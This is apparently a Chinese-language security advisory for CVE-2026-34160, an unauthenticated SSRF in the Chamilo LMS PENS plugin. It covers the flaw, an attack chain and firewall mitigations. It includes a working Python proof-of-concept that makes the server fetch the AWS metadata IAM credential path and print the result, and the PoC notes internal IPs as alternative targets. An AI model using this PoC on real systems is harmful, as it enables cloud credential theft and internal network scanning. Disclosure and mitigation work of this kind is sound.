IPBUF安全漏洞报告
English
CVE-2026-34160 CVSS 8.6 高危

CVE-2026-34160 Chamilo LMS SSRF漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-34160
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

SSRFChamilo LMSCWE-918Remote Code ExecutionInformation Disclosure

漏洞概述

Chamilo LMS是一款开源学习管理系统。在2.0.0-RC.3之前的版本中,其PENS插件端点存在严重漏洞。攻击者无需认证即可访问特定接口,并利用未经过滤的用户输入参数package-url,诱导服务器向内网或云平台元数据地址发起请求。这构成了服务器端请求伪造(SSRF)漏洞,攻击者可借此窃取敏感凭证或探测内部网络服务。

技术细节

该漏洞源于Chamilo LMS中PENS插件对package-url参数的处理逻辑缺失。受影响版本的public/plugin/Pens/pens.php文件在接收到请求时,直接使用curl库获取用户指定的URL资源,且未对目标地址进行任何安全校验或IP白名单限制。由于该接口缺乏身份验证机制,允许匿名访问,攻击者可通过构造包含内网IP(如127.0.0.1)或云元数据服务地址(如AWS的169.254.169.254)的恶意请求,利用服务器网络带宽探测内网端口、读取敏感文件或获取云实例IAM权限。此外,通过receipt和alerts回调参数,攻击者还可能触发内部服务的状态变更,造成更广泛的业务影响。此漏洞利用门槛低,无需用户交互即可远程触发,对云环境下的实例安全构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用Chamilo LMS,且版本低于2.0.0-RC.3。
STEP 2
漏洞探测
攻击者向public/plugin/Pens/pens.php端点发送请求,确认其无需认证且接受package-url参数。
STEP 3
利用攻击
攻击者构造恶意HTTP请求,将package-url参数设置为内网敏感地址(如127.0.0.1)或云元数据地址(169.254.169.254)。
STEP 4
数据回传
服务器端curl请求内部资源,攻击者根据响应内容或时间延迟判断内网服务状态,并获取云凭证等敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-34160 (Chamilo LMS SSRF) import requests def check_ssrf(target_url): """ Exploit the SSRF vulnerability in Chamilo LMS PENS plugin. """ # The vulnerable endpoint endpoint = "/public/plugin/Pens/pens.php" full_url = f"{target_url}{endpoint}" # Malicious payload targeting internal metadata (common in cloud environments) # Change this to internal IPs (e.g., http://127.0.0.1:80) for internal scanning ssrf_payload = { "package-url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: print(f"[*] Sending request to {full_url}...") response = requests.post(full_url, data=ssrf_payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check for DNS interaction or response content.") print("[+] Response body:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://example-chamilo-lms.com" check_ssrf(target)

影响范围

Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
如果无法立即升级,建议在服务器防火墙或WAF层面限制对/public/plugin/Pens/pens.php路径的访问,仅允许受信任的IP地址调用。同时,配置服务器出站规则,禁止Web服务器向内网IP段(如127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)及元数据地址(169.254.169.254)发起请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表